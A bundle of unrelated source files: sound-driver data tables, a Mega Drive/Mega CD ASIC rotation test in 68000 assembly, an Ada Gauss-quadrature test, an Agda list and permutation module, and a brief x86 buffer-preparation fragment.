kp_settrackregister $01,$40
kp_setinstrument $04,$09
kp_rewind [pat16loop-pat16]
pat17
pat17loop
kp_settrackregister $03,$0F
kp_setinstrument $04,$01
kp_setinstrument $04,$02
kp_setinstrument $02,$03
kp_settrackregister $03,$0C
kp_setinstrument $02,$01
kp_settrackregister $03,$0A
kp_setinstrument $02,$02
kp_settrackregister $03,$0F
kp_setinstrument $02,$02
kp_setinstrument $10,$03
kp_rewind [pat17loop-pat17]
pat18
pat18loop
kp_settrackregister $01,$10
kp_settrackregister $03,$0F
kp_setinstrument $06,$04
kp_settrackregister $01,$40
kp_settrackregister $03,$0A
kp_setinstrument $02,$05
kp_settrackregister $03,$0F
kp_setinstrument $02,$05
kp_settrackregister $01,$20
kp_settrackregister $03,$0C
kp_setinstrument $02,$04
kp_settrackregister $03,$00
kp_settrackregister $00,$04
kp_settrackregister $01,$10
kp_settrackregister $03,$0F
kp_setinstrument $08,$04
kp_settrackregister $01,$00
kp_setinstrument $05,$0B
kp_settrackregister $01,$04
kp_settrackregister $00,$01
kp_settrackregister $01,$08
kp_settrackregister $00,$01
kp_settrackregister $01,$0C
kp_settrackregister $00,$01
kp_rewind [pat18loop-pat18]
kp_insmap_lo
dc.b #<insnil
dc.b #<ins1
dc.b #<ins2
dc.b #<ins3
dc.b #<ins4
dc.b #<ins5
dc.b #<ins6
dc.b #<ins7
dc.b #<ins8
dc.b #<ins9
dc.b #<ins10
dc.b #<ins11
kp_insmap_hi
dc.b #>insnil
dc.b #>ins1
dc.b #>ins2
dc.b #>ins3
dc.b #>ins4
dc.b #>ins5
dc.b #>ins6
dc.b #>ins7
dc.b #>ins8
dc.b #>ins9
dc.b #>ins10
dc.b #>ins11
kp_volmap_lo
dc.b #<volnil
dc.b #<vol1
dc.b #<vol2
dc.b #<vol3
dc.b #<vol4
dc.b #<vol5
dc.b #<vol6
dc.b #<vol7
dc.b #<vol8
dc.b #<vol9
dc.b #<vol10
dc.b #<vol11
kp_volmap_hi
dc.b #>volnil
dc.b #>vol1
dc.b #>vol2
dc.b #>vol3
dc.b #>vol4
dc.b #>vol5
dc.b #>vol6
dc.b #>vol7
dc.b #>vol8
dc.b #>vol9
dc.b #>vol10
dc.b #>vol11
insnil
KP_OSCV 0,0,0,0,15
KP_OSCJ 0
volnil
KP_VOLV 0,15
KP_VOLJ 0
ins1
KP_OSCV $1A,0,1,0,$00
KP_OSCV $10,0,1,0,$00
KP_OSCV $06,0,1,0,$00
KP_OSCV $01,0,1,0,$00
ins1loop
KP_OSCV $00,0,1,0,$00
KP_OSCV $00,0,0,0,$00
KP_OSCJ [ins1loop-ins1]
vol1
KP_VOLV $0E,$00
KP_VOLV $0F,$00
KP_VOLV $0A,$00
KP_VOLV $06,$00
KP_VOLV $03,$00
KP_VOLV $02,$00
KP_VOLV $01,$01
vol1loop
KP_VOLV $00,$00
KP_VOLJ [vol1loop-vol1]
ins2
KP_OSCV $FC,1,0,0,$00
ins2loop
KP_OSCV $FA,1,0,0,$00
KP_OSCJ [ins2loop-ins2]
vol2
KP_VOLV $0A,$00
KP_VOLV $03,$00
KP_VOLV $02,$00
KP_VOLV $01,$01
vol2loop
KP_VOLV $00,$00
KP_VOLJ [vol2loop-vol2]
ins3
KP_OSCV $40,0,1,0,$00
KP_OSCV $F2,1,0,0,$00
ins3loop
KP_OSCV $F7,1,0,0,$00
KP_OSCV $FA,1,0,0,$00
KP_OSCJ [ins3loop-ins3]
vol3
KP_VOLV $0E,$00
KP_VOLV $0B,$00
KP_VOLV $08,$00
KP_VOLV $04,$00
KP_VOLV $03,$00
KP_VOLV $02,$00
KP_VOLV $01,$02
vol3loop
KP_VOLV $00,$00
KP_VOLJ [vol3loop-vol3]
ins4
ins4loop
KP_OSCV $00,0,1,1,$01
KP_OSCV $01,0,1,1,$01
KP_OSCV $02,0,1,1,$01
KP_OSCV $01,0,1,1,$01
KP_OSCJ [ins4loop-ins4]
vol4
KP_VOLV $08,$01
KP_VOLV $0A,$03
KP_VOLV $09,$00
KP_VOLV $08,$00
KP_VOLV $07,$00
KP_VOLV $06,$00
KP_VOLV $05,$00
KP_VOLV $04,$00
KP_VOLV $03,$00
KP_VOLV $02,$00
KP_VOLV $01,$02
vol4loop
KP_VOLV $00,$00
KP_VOLJ [vol4loop-vol4]
ins5
ins5loop
KP_OSCV $30,0,1,1,$02
KP_OSCV $40,0,1,1,$02
KP_OSCV $4C,0,1,1,$02
KP_OSCV $60,0,1,1,$02
KP_OSCJ [ins5loop-ins5]
vol5
KP_VOLV $0A,$00
KP_VOLV $08,$00
KP_VOLV $07,$00
KP_VOLV $06,$00
KP_VOLV $05,$00
KP_VOLV $04,$00
KP_VOLV $03,$00
KP_VOLV $02,$02
KP_VOLV $01,$02
vol5loop
KP_VOLV $00,$00
KP_VOLJ [vol5loop-vol5]
ins6
KP_OSCV $48,0,1,0,$00
KP_OSCV $F2,1,0,0,$00
ins6loop
KP_OSCV $F9,1,0,0,$00
KP_OSCV $F2,1,0,0,$00
KP_OSCJ [ins6loop-ins6]
vol6
KP_VOLV $0C,$00
KP_VOLV $0A,$00
KP_VOLV $07,$00
KP_VOLV $05,$00
vol6loop
KP_VOLV $04,$01
KP_VOLJ [vol6loop-vol6]
ins7
KP_OSCV $00,0,1,1,$01
ins7loop
KP_OSCV $30,0,1,1,$00
KP_OSCJ [ins7loop-ins7]
vol7
KP_VOLV $0B,$03
KP_VOLV $08,$00
KP_VOLV $04,$00
KP_VOLV $03,$00
KP_VOLV $02,$00
KP_VOLV $01,$03
vol7loop
KP_VOLV $00,$00
KP_VOLJ [vol7loop-vol7]
ins8
KP_OSCV $00,0,1,1,$00
ins8loop
KP_OSCV $30,0,1,1,$01
KP_OSCV $31,0,1,1,$01
KP_OSCJ [ins8loop-ins8]
vol8
KP_VOLV $0B,$00
KP_VOLV $09,$02
KP_VOLV $08,$00
KP_VOLV $04,$00
KP_VOLV $03,$07
KP_VOLV $03,$00
vol8loop
KP_VOLV $00,$00
KP_VOLJ [vol8loop-vol8]
ins9
KP_OSCV $00,0,1,1,$00
ins9loop
KP_OSCV $30,0,1,1,$01
KP_OSCV $31,0,1,1,$01
KP_OSCJ [ins9loop-ins9]
vol9
KP_VOLV $0B,$00
KP_VOLV $09,$02
KP_VOLV $08,$00
KP_VOLV $07,$00
KP_VOLV $06,$00
KP_VOLV $05,$00
KP_VOLV $04,$00
KP_VOLV $05,$01
KP_VOLV $06,$00
KP_VOLV $07,$04
KP_VOLV $06,$01
KP_VOLV $05,$00
KP_VOLV $04,$00
KP_VOLV $03,$00
KP_VOLV $02,$00
KP_VOLV $01,$04
vol9loop
KP_VOLV $00,$00
KP_VOLJ [vol9loop-vol9]
ins10
ins10loop
KP_OSCV $30,0,1,1,$00
KP_OSCJ [ins10loop-ins10]
vol10
KP_VOLV $0B,$00
KP_VOLV $09,$02
KP_VOLV $08,$00
KP_VOLV $04,$00
KP_VOLV $03,$07
KP_VOLV $03,$00
vol10loop
KP_VOLV $00,$00
KP_VOLJ [vol10loop-vol10]
ins11
ins11loop
KP_OSCV $00,0,1,1,$01
KP_OSCV $01,0,1,1,$01
KP_OSCV $02,0,1,1,$01
KP_OSCV $01,0,1,1,$01
KP_OSCJ [ins11loop-ins11]
vol11
KP_VOLV $08,$01
KP_VOLV $0A,$03
KP_VOLV $09,$00
KP_VOLV $08,$00
KP_VOLV $07,$00
KP_VOLV $06,$00
KP_VOLV $05,$00
vol11loop
KP_VOLV $04,$00
KP_VOLJ [vol11loop-vol11]
kp_sequence
dc.b $00,$00,$01,$02
dc.b $00,$00,$03,$04
dc.b $00,$00,$01,$02
dc.b $00,$00,$03,$04
dc.b $00,$00,$01,$02
dc.b $00,$00,$03,$04
dc.b $00,$00,$01,$02
dc.b $00,$00,$05,$06
dc.b $00,$07,$01,$02
dc.b $00,$00,$03,$04
dc.b $00,$08,$01,$02
dc.b $00,$00,$03,$04
dc.b $00,$09,$01,$02
dc.b $00,$00,$03,$04
dc.b $00,$0A,$01,$02
dc.b $00,$00,$05,$06
dc.b $00,$0B,$01,$0C
dc.b $00,$0D,$03,$0E
dc.b $00,$0F,$01,$02
dc.b $00,$00,$03,$06
dc.b $00,$0B,$01,$0C
dc.b $00,$0D,$03,$0E
dc.b $00,$10,$01,$02
dc.b $00,$00,$11,$12
dc.b $00,$00,$01,$02
dc.b $00,$00,$03,$04
dc.b $00,$00,$01,$02
dc.b $00,$00,$03,$04
dc.b $ff
dc.w $0050
|
main.asm | jvisser/md-mode1-mcd-asic-test | 2 | 28043 | Opt c+, & ; Case sensitive
l+, & ; Use . prefix for local labels
ws+, & ; Allow white space
op+, & ; PC relative optimisation
os+, & ; Short branch optimisation
ow+, & ; Absolute word addressing optimisation
oz+, & ; Zero offset optimisation
oaq+, & ; addq optimisation
osq+, & ; subq optimisation
omq+ ; moveq optimisation
; Constants shared between main/sub cpu
WordRAM_Size Equ (((1024 * 1024) / 8) * 2) ; 2 mbit
; ----------------------------------
; Word ram allocation is as follows
; Offset from bottom of wordram
; stamps
; image buffer (fixed size)
; trace table (variable size)
; Offset from top of word ram
; stamp map2 sprites (32x32 stamps 1x1 screen)
; stamp map1 floor (16x16 stamps, 16x16 screens)
; ----------------------------------
ImageBufferCellWidth Equ 32
ImageBufferDotWidth Equ (ImageBufferCellWidth * 8)
ImageBufferCellHeight Equ 16
ImageBufferDotHeight Equ (ImageBufferCellHeight * 8)
ImageBufferSize Equ (ImageBufferCellWidth * ImageBufferCellHeight * 32)
ImageBufferOffset Equ (((StampsEnd - Stamps) + $0f) & ~$0f) ; aligned to 16 byte boundary
TraceTableOffset Equ (ImageBufferOffset + ImageBufferSize)
StampMap1Offset Equ ((WordRAM_Size - (FloorStampMapEnd - FloorStampMap)) & ~$ff) ; aligned to 256 byte boundary
StampMap2Offset Equ (StampMap1Offset - 0) ; todo
; --------------------------------------------------------------------------------------
; --------------------------------------------------------------------------------------
; --------------------------------------------------------------------------------------
; Main CPU program
Org 0
; 68000 Vector table
dc.l $00000000 ; Initial SP
dc.l Init ; Initial PC
dcb.l 26, Exception ; Unused
dc.l HBlankInterrupt ; IRQ level 4 (horizontal retrace interrupt)
dc.l Exception ; Unused
dc.l VBlankInterrupt ; IRQ level 6 (vertical retrace interrupt)
dcb.l 33, Exception ; Unused
; ROM header
dc.b 'SEGA MEGA DRIVE ' ; Console name
dc.b '(C)JV 2021 ' ; Copyright holder and release date
dc.b 'md-mode1-mcd-asic-test ' ; Domestic name
dc.b 'md-mode1-mcd-asic-test ' ; International name
dc.b 'GM 13371337 ' ; Serial number
dc.w $0000 ; Checksum
dc.b 'JC ' ; Supported devices C = CD ROM support https://plutiedev.com/rom-header#devices
dc.l $00000000 ; Start address of ROM
dc.l RomImageEnd ; End address of ROM
dc.l $00ff0000 ; Start address of RAM
dc.l $00ffffff ; End address of RAM
dc.l $00000000 ; SRAM descriptor
dc.l $00000000 ; Start address of SRAM
dc.l $00000000 ; End address of SRAM
dcb.b 52, ' ' ; Unused
dc.b 'JUE ' ; Supported regions
Include 'vdp.asm'
M_RegHwVersion Equ $a10001
M_RegTMSS Equ $a14000
; In mode 1 the main cpu memory map as indicated in the official mega cd manual is moved up by $400000 (Mega CD Software Development Manual: Mapping page 1)
M_CDBootROMAddress Equ $400000
M_CDProgramRAMAddress Equ $420000
M_WordRAMBaseAddress Equ $600000
M_WordRAMTopAddress Equ (M_WordRAMBaseAddress + WordRAM_Size)
M_RegSubCPUCtrl Equ $a12000 ; Sub-CPU reset/busreq, etc.
M_RegSubMemCtrl Equ $a12002 ; Mega CD memory mode, bank, etc.
M_RegCommMainFlag Equ $a1200e
M_RegCommSubFlag Equ $a1200f
M_RegSubComm0 Equ $a12010
M_RegSubComm1 Equ $a12012
M_RegSubStat0 Equ $a12020
ASICTileDataBase Equ (M_WordRAMBaseAddress + ImageBufferOffset)
ASICTileDataSize Equ ImageBufferSize
ASICTileDataTransferSize1 Equ ((8 * 32 * 32) + (20 * 32))
ASICTileDataTransferSize2 Equ (ASICTileDataSize - ASICTileDataTransferSize1)
ASICTileData1 Equ ASICTileDataBase
ASICTileData2 Equ (ASICTileDataBase + ASICTileDataTransferSize1)
ASICTileData1Target Equ ASICPatternBase_VRAMAddress
ASICTileData2Target Equ (ASICPatternBase_VRAMAddress + ASICTileDataTransferSize1)
; Variables
rsset $ff0000
subCommandCycle rs.w 1
hintHandled rs.b 1
frameReady rs.b 1
cameraAngle rs.w 1
; See Mega CD Hardware Manual: Supplements (page 61/63) for details
DMA_ASIC_2_VRAM Macro source, target, size
DMA_VRAM (\source + 2), \target, \size
VRAM_WRITE_ADDR_SET \target
move.l \source, VdpData
Endm
Exception
SET_BACKGROUND_COLOR 19 ; Red screen
stop #$2700
TMSS:
move.b M_RegHwVersion, d0
andi.b #$0f, d0
beq.s .noTMSS
move.l #'SEGA', M_RegTMSS
.noTMSS:
rts
; https://plutiedev.com/subcpu-in-mode1#check-if-present
CheckMegaCD:
btst #5, M_RegHwVersion ; "Disk" indicator bit (=Fdd (super magic drive? ;) connected according to the mega drive manual)
beq.s .present
cmpi.l #'SEGA', (M_CDBootROMAddress+$100) ; This is the only check used by the msu-md driver https://github.com/krikzz/msu-md/blob/2dd4475e05a6871f017bbdd8f8cdca11d9b5500c/msu-md-drv/main.s#L15
beq.s .present
.notPresent:
moveq #0, d0
rts
.present:
moveq #1, d0
rts
SubCPUBusRequest:
lea M_RegSubCPUCtrl + 1, a0
move.b #$02, (a0) ; bit 1: SBRQ
.subBusReqWait:
btst.b #1, (a0)
beq.s .subBusReqWait
rts
SubCPUReset:
; Reset sub cpu and release bus
lea M_RegSubCPUCtrl + 1, a0
move.b #$00, (a0)
.subResetWait:
move.b (a0), d0
andi.b #$03, d0
cmp.b #$01, d0 ; Reset in progress + bus request cancelled
beq.s .subResetWait
; Resume sub cpu (sub cpu will execute from reset vector)
move.b #$01, (a0)
.subResumeWait:
btst.b #0, (a0) ; Wait for reset finished
beq.s .subResumeWait
rts
LoadASICData:
; Load stamps
lea M_WordRAMBaseAddress, a0
lea Stamps, a1
move.w #((StampsEnd - Stamps) / 2) - 1, d0
.stampLoop:
move.w (a1)+, (a0)+
dbra d0, .stampLoop
; Load stamp maps
lea M_WordRAMTopAddress + StampMaps - StampMapsEnd, a0
lea StampMaps, a1
move.w #((StampMapsEnd - StampMaps) / 2) - 1, d0
.stampMapLoop:
move.w (a1)+, (a0)+
dbra d0, .stampMapLoop
rts
Init:
bsr TMSS
bsr VDPInit
; Load palette
DMA_CRAM Palette, $00, PaletteEnd - Palette
; Check if mega cd present
bsr CheckMegaCD
bne .megaCdAvailable
trap #0
.megaCdAvailable:
; Load graphics data into VRAM
DMA_VRAM StaticTiles, PatternBase_VRAMAddress, StaticTilesEnd - StaticTiles
DMA_VRAM NameTableA, PlaneA_VRAMAddress, NameTableAEnd - NameTableA
DMA_VRAM NameTableB, PlaneB_VRAMAddress, NameTableBEnd - NameTableB
; Mega CD Hardware Manual: 4-1 Initialization (Gate array forced reset)
move.w #$ff00, M_RegSubMemCtrl
move.b #$03, M_RegSubCPUCtrl + 1
move.b #$02, M_RegSubCPUCtrl + 1
move.b #$00, M_RegSubCPUCtrl + 1
; Load sub cpu program into mega cd program ram and start
bsr SubCPUBusRequest
move.w #0, M_RegSubMemCtrl ; Disable write protection
lea SubCPUProgram, a0
lea M_CDProgramRAMAddress, a1
move.w #((SubCPUProgramEnd - SubCPUProgram) / 2) - 1, d0
.copySubPrgLoop:
move.w (a0)+, (a1)+
dbra d0, .copySubPrgLoop
bsr SubCPUReset
; Wait for sub cpu program ready state
.waitSubCPUReady:
cmpi.b #'R', M_RegCommSubFlag
bne.s .waitSubCPUReady
; Load sub cpu graphics data into word ram (Sub cpu program has given us access to word ram after initialisation)
bsr LoadASICData
; Render first image and wait for frame ready
move.w #'IR', subCommandCycle
move.w subCommandCycle, M_RegSubComm0
move.w #$02, M_RegSubMemCtrl ; Give word ram to sub cpu (DMNA=1)
move.b #$01, M_RegSubCPUCtrl ; Generate level 2 interrupt on the sub cpu (IFL2=1)
.frameReadyWait:
move.w M_RegSubStat0, d0
cmp.w subCommandCycle, d0
bne.s .frameReadyWait
; Init variables
sf hintHandled
sf frameReady
clr.w cameraAngle
; Start accepting interrupts
move.w #$2000, sr
bra Main
Main:
; vsync wait
.loop:
tst.b frameReady
beq .notReady
; TODO: read controller input and update camera position (this must be finished before hint)
addq.w #1, cameraAngle
bsr HintWait
; Can update the VDP here in limited capacity (for example to update scores etc). But must completed before vint
; ...
.notReady:
bsr VDPVSyncWait
bra .loop
rts
HintWait:
.wait:
tst.b hintHandled
beq .wait
rts
HBlankInterrupt:
SET_BACKGROUND_COLOR 9 ; do first to prevent change in active display (slightly more inefficient due to second entrance)
tst.b hintHandled
beq .notHandled
rte
.notHandled:
st hintHandled
SET_HINT $ff
DISABLE_DISPLAY
; DMA transfer current frame (part 2)
DMA_ASIC_2_VRAM ASICTileData2, ASICTileData2Target, ASICTileDataTransferSize2
ENABLE_DISPLAY
; Signal the sub cpu to start processing (render next frame and preprocess the frame after)
move.w subCommandCycle, M_RegSubComm0 ; Set current command cycle id
move.w cameraAngle, M_RegSubComm1 ; Player position
move.w #$02, M_RegSubMemCtrl ; Give word ram to sub cpu (DMNA=1)
move.b #$01, M_RegSubCPUCtrl ; Generate level 2 interrupt on the sub cpu (IFL2=1)
rte
VBlankInterrupt:
move.l d0, -(sp)
move.w subCommandCycle, d0
cmp.w M_RegSubStat0, d0 ; Check if last command finished processing
seq frameReady
sne hintHandled
bne .frameSkip
addq.w #1, subCommandCycle
SET_HINT $20
DISABLE_DISPLAY
SET_BACKGROUND_COLOR 7
; DMA transfer current frame (part 1)
DMA_ASIC_2_VRAM ASICTileData1, ASICTileData1Target, ASICTileDataTransferSize1
; Wait until the end of the line to prevent artifacting
moveq #30, d0
dbra d0, *
ENABLE_DISPLAY
bra .done
.frameSkip:
; Skip next hint
SET_HINT $ff
.done:
move.l (sp)+, d0
rte
Even
Include 'vdp_data.asm'
Include 'asic_data.asm'
; --------------------------------------------------------------------------------------
; --------------------------------------------------------------------------------------
; --------------------------------------------------------------------------------------
; Sub CPU program
Even
S_RegReset Equ $ff8000
S_RegMemoryMode Equ $ff8003 ; dont care about the write protect bits in upper byte from the sub cpu side
S_RegInterrupt Equ $ff8032
S_RegCommMainFlag Equ $ff800e
S_RegCommSubFlag Equ $ff800f
S_RegMainComm0 Equ $ff8010
S_RegMainComm1 Equ $ff8012
S_RegSubStat0 Equ $ff8020
S_RegStampDataSize Equ $ff8058
S_RegStampMapBaseAddr Equ $ff805a
S_RegImgBufVCellSize Equ $ff805c
S_RegImgBufStartAddr Equ $ff805e
S_RegImgBufOffset Equ $ff8060
S_RegImgBufHDotSize Equ $ff8062
S_RegImgBufVDotSize Equ $ff8064
S_RegTraceVecBaseAddr Equ $ff8066
S_WordRAMBase Equ $080000
SubCPUProgram:
Obj 0
; 68000 Vector table
dc.l $20000 ; Initial SP
dc.l Sub_Init ; Initial PC
dcb.l 23, Sub_Exception
dc.l Sub_RenderReady ; IRQ level 1
dc.l Sub_MainRequest ; IRQ level 2
; Variables
angle: dc.w 0
renderRequestId: dc.w 0
renderRequestPending: dc.b 0
Sub_Exception:
stop #$2700
; Int 1
Sub_RenderReady:
; Return word ram back to the main cpu
move.b #$01, (a6)
.wordRAMRetWait:
btst.b #0, (a6)
beq.s .wordRAMRetWait ; wait for RET = 1
move.w #$04, S_RegInterrupt ; Disable level 1 interrupts and enable level 2 interrupts
; Signal frame ready
move.w renderRequestId, S_RegSubStat0
rte
; Int 2
Sub_MainRequest:
move.w #$02, S_RegInterrupt ; Disable level 2 interrupts and enable level 1 interrupt (this is reflected in bit 15 of M_RegSubCPUCtrl on the main cpu)
; Store render request and position
move.w S_RegMainComm0, renderRequestId
move.w S_RegMainComm1, angle
st renderRequestPending
rte
; Reset
Sub_Init:
; a6 if permanently allocated to S_RegMemoryMode
lea S_RegMemoryMode, a6
; Set word ram in 2m mode and return access to the main cpu
move.b #$01, (a6)
.wordRAMRetWait:
btst.b #0, (a6)
beq.s .wordRAMRetWait
; Calculate trace table for initial frame
bsr Sub_CalcTraceTable
; Configure image buffer
move.w #ImageBufferCellHeight - 1, S_RegImgBufVCellSize
move.w #ImageBufferOffset >> 2, S_RegImgBufStartAddr
move.w #0, S_RegImgBufOffset ; NB: Must be recalculated per render operation
move.w #ImageBufferDotWidth, S_RegImgBufHDotSize
; Configure ASIC interrupts
move.w #$04, S_RegInterrupt ; Enable level 2 interrupts
; Indicate we are ready to accept commands from the main cpu
move.b #'R', S_RegCommSubFlag
Sub_Main:
sf renderRequestPending
.loop:
; Wait for next command from the main cpu
stop #$2000
tst.b renderRequestPending
beq.s .loop
sf renderRequestPending
; First wait for word ram access
.wordRAMWait:
btst.b #1, (a6)
beq.s .wordRAMWait ; wait for DMNA = 1
; ; Wait for previous rendering cycle to finish
; .renderWait:
; move.w S_RegStampDataSize, d0
; btst #15, d0
; bne.s .renderWait
; Copy trace table into word ram
bsr Sub_CopyTraceTable2WordRAM
; Render setup
move.w #ImageBufferDotHeight, S_RegImgBufVDotSize
move.w #$05, S_RegStampDataSize ; 16x16 dot stamps, 16x16 screens (repeat)
move.w #StampMap1Offset >> 2, S_RegStampMapBaseAddr
; Start rendering
move.w #TraceTableOffset >> 2, S_RegTraceVecBaseAddr
; Calculate the trace table for the next frame in parallel with rendering the current frame
bsr Sub_CalcTraceTable
bra.s .loop
Sub_CopyTraceTable2WordRAM:
lea TraceTable, a0
lea S_WordRAMBase + TraceTableOffset, a1
moveq #(ImageBufferDotHeight / 16) - 1, d0
.copyTraceTableLoop:
Rept 16
move.l (a0)+, (a1)+
move.l (a0)+, (a1)+
Endr
dbra d0, .copyTraceTableLoop
rts
; Just generate some test pattern based on angle received from main cpu...
Sub_CalcTraceTable:
lea TraceTable, a0
lea Sin, a1
move.w #ImageBufferDotHeight, d0 ; n lines to render
moveq #0, d1
moveq #0, d2
move.w angle, d1
andi.w #$ff, d1
add.w d1, d1
move.w (a1, d1), d2 ; d2 = sin
ext.l d2
addi.w #64 * 2, d1
andi.w #$1fe, d1
move.w (a1, d1), d1 ; d1 = cos
ext.l d1
; Zoomfactor derived from angle
moveq #11, d4
move.l d2, d3
add.l d3, d3
add.l d3, d3
add.l #4 << 11, d3
muls d3, d1
asr.l d4, d1
muls d3, d2
asr.l d4, d2
; Position in map (top left on screen)
move.l #(4096/2) << 11, d3 ; x
move.l d3, d4 ; y
.traceLineLoop:
move.l d3, d5
move.l d4, d6
asr.l #8, d5
asr.l #8, d6
move.w d5, (a0)+ ; x start
move.w d6, (a0)+ ; y start
move.w d1, (a0)+ ; x delta
move.w d2, (a0)+ ; y delta
add.l d2, d3
sub.l d1, d4
dbra d0, .traceLineLoop
rts
Include 'sin.asm'
Even
TraceTable: ; RAM copy of trace table for next frame
ObjEnd
SubCPUProgramEnd:
RomImageEnd:
|
polynomial/clenshaw/gauss_61_tst_1.adb | jscparker/math_packages | 30 | 25557 | <filename>polynomial/clenshaw/gauss_61_tst_1.adb
with Text_IO; use Text_io;
with Gauss_Quadrature_61;
with Ada.Numerics.Generic_Elementary_Functions;
procedure gauss_61_tst_1 is
type Real is digits 15;
package Math is new Ada.Numerics.Generic_Elementary_Functions (Real);
use Math;
package Quad is new Gauss_Quadrature_61 (Real);
use Quad;
package rio is new Float_io(Real);
use rio;
X_First, X_Last, True_Area, True_Error : Real;
Area, Rough_Error : Real := 0.0;
X_gauss : Gauss_Values;
F_val : Function_Values;
begin
Gauss_61_Coeff_Test; -- look for mutated constants among the Gauss nodes.
X_First := 0.1;
X_Last := 1.7777;
new_line(1); put("Sin Test");
new_line(1);
Sin_Test: for Pow in 1..30 loop
X_Last := X_Last + 1.7;
Find_Gauss_Nodes (X_First, X_Last, X_gauss);
for I in Gauss_Index_61 loop
F_val(I) := Sin(X_gauss(I));
end loop;
Get_Integral(F_val, X_First, X_Last, Area, Rough_Error);
True_Area := -Cos(X_Last) + Cos(X_First);
True_Error := Area - True_Area;
new_line(1); put ("True_Error, Rough Estimate:: ");
put(True_Error); put(" "); put(Rough_Error);
end loop Sin_Test;
X_First := -1.3;
X_Last := -0.7777;
new_line(2); put("Exp Test");
new_line(1);
Exp_Test: for Pow in 1..30 loop
--X_Last := X_Last + 3.7;
X_First := X_First - 1.7;
Find_Gauss_Nodes (X_First, X_Last, X_gauss);
for I in Gauss_Index_61 loop
F_val(I) := Exp (X_gauss(I));
end loop;
Get_Integral(F_val, X_First, X_Last, Area, Rough_Error);
True_Area := Exp (X_Last) - Exp (X_First);
True_Error := (Area - True_Area) / Area;
new_line(1); put ("True_Error, Rough Estimate:: ");
put(True_Error); put(" "); put(Rough_Error);
end loop Exp_Test;
X_First := -1.3;
X_Last := -0.7777;
new_line(2); put("Exp Test");
new_line(1);
Exp2_Test: for Pow in 1..30 loop
X_Last := X_Last + 1.7;
--X_First := X_First - 4.7;
Find_Gauss_Nodes (X_First, X_Last, X_gauss);
for I in Gauss_Index_61 loop
F_val(I) := Exp (X_gauss(I));
end loop;
Get_Integral(F_val, X_First, X_Last, Area, Rough_Error);
True_Area := Exp (X_Last) - Exp (X_First);
True_Error := (Area - True_Area) / Area;
new_line(1); put ("True_Error, Rough Estimate:: ");
put(True_Error); put(" "); put(Rough_Error);
end loop Exp2_Test;
X_First := 0.3;
X_Last := 0.7777;
new_line(2); put("Log Test");
new_line(1);
Log_Test: for Pow in 1..30 loop
X_First := X_First / 1.2;
Find_Gauss_Nodes (X_First, X_Last, X_gauss);
for I in Gauss_Index_61 loop
F_val(I) := 1.0 / (X_gauss(I));
end loop;
Get_Integral(F_val, X_First, X_Last, Area, Rough_Error);
True_Area := Log (X_Last) - Log (X_First);
True_Error := (Area - True_Area) / Area;
new_line(1); put ("True_Error, Rough Estimate:: ");
put(True_Error); put(" "); put(Rough_Error);
end loop Log_Test;
X_First := 1.0;
X_Last := 2.7;
new_line(2); put("Reciprocal_Test");
new_line(1);
Reciprocal_Test: for Pow in 1..30 loop
X_Last := X_Last + 2.0;
Find_Gauss_Nodes (X_First, X_Last, X_gauss);
for I in Gauss_Index_61 loop
F_val(I) := 1.0 / (X_gauss(I));
end loop;
Get_Integral(F_val, X_First, X_Last, Area, Rough_Error);
True_Area := Log (X_Last) - Log (X_First);
True_Error := (Area - True_Area) / Area;
new_line(1); put ("True_Error, Rough Estimate:: ");
put(True_Error); put(" "); put(Rough_Error);
end loop Reciprocal_Test;
end gauss_61_tst_1;
|
examples/AIM4/bag/List.agda | asr/agda-kanso | 1 | 6784 |
module List where
import Prelude
import Equiv
import Datoid
import Nat
open Prelude
open Equiv
open Datoid
open Nat
data List (a : Set) : Set where
nil : List a
_::_ : a -> List a -> List a
map : {a b : Set} -> (a -> b) -> List a -> List b
map f nil = nil
map f (x :: xs) = f x :: map f xs
member : (a : Datoid) -> El a -> List (El a) -> Set
member _ x nil = Absurd
member a x (y :: ys) = Either (rel' (datoidEq a) x y) (member a x ys)
memberPreservesEq
: {a : Datoid}
-> {x y : El a}
-> datoidRel a x y
-> (zs : List (El a))
-> member a x zs
-> member a y zs
memberPreservesEq xy nil abs = abs
memberPreservesEq {a} xy (z :: zs) (left xz) =
left (dTrans a (dSym a xy) xz)
memberPreservesEq {a} xy (z :: zs) (right xzs) =
right (memberPreservesEq {a} xy zs xzs)
private
noCopies' : (a : Datoid) -> (x y : El a) -> Dec (datoidRel a x y)
-> Nat -> Nat
noCopies' _ _ _ (left _) n = suc n
noCopies' _ _ _ (right _) n = n
noCopies : (a : Datoid) -> El a -> List (El a) -> Nat
noCopies a x nil = zero
noCopies a x (y :: ys) =
noCopies' a x y (datoidDecRel a x y) (noCopies a x ys)
NoDuplicates : (a : Datoid) -> List (El a) -> Set
NoDuplicates _ nil = Unit
NoDuplicates a (x :: b) = Pair (Not (member a x b)) (NoDuplicates a b)
private
delete'
: (a : Datoid)
-> (x y : El a)
-> Dec (datoidRel a x y)
-> (ys delXYs : List (El a))
-> List (El a)
delete' _ _ _ (left _) ys _ = ys
delete' _ _ _ (right _) _ delXYs = delXYs
-- Removes first occurrence if any.
delete : (a : Datoid) -> El a -> List (El a) -> List (El a)
delete a x nil = nil
delete a x (y :: ys) = delete' a x y (datoidDecRel a x y) ys (delete a x ys)
private
Perm : (a : Datoid) -> (xs ys : List (El a)) -> Set
Perm a xs ys = forall z -> datoidRel natDatoid (noCopies a z xs)
(noCopies a z ys)
refl' : {a : Datoid} -> (xs : List (El a)) -> Perm a xs xs
refl' {a} xs = \z -> dRefl natDatoid {noCopies a z xs}
sym' : {a : Datoid} -> (xs ys : List (El a))
-> Perm a xs ys -> Perm a ys xs
sym' {a} xs ys xy =
\z -> dSym natDatoid {noCopies a z xs} {noCopies a z ys} (xy z)
trans' : {a : Datoid} -> (xs ys zs : List (El a))
-> Perm a xs ys -> Perm a ys zs -> Perm a xs zs
trans' {a} xs ys zs xy yz =
\z -> dTrans natDatoid
{noCopies a z xs} {noCopies a z ys} {noCopies a z zs}
(xy z) (yz z)
postulate
dec' : {a : Datoid} -> (xs ys : List (El a))
-> Either (Perm a xs ys) (Not (Perm a xs ys))
Permutation : (a : Datoid) -> DecidableEquiv (List (El a))
Permutation a = decEquiv (equiv (Perm a) (refl' {a}) (sym' {a}) (trans' {a})) (dec (dec' {a}))
|
Transynther/x86/_processed/AVXALIGN/_st_zr_sm_/i7-7700_9_0x48.log_21829_2786.asm | ljhsiun2/medusa | 9 | 82020 | <gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r14
push %rdi
lea addresses_WT_ht+0x9c42, %r14
cmp $14272, %r12
movb $0x61, (%r14)
nop
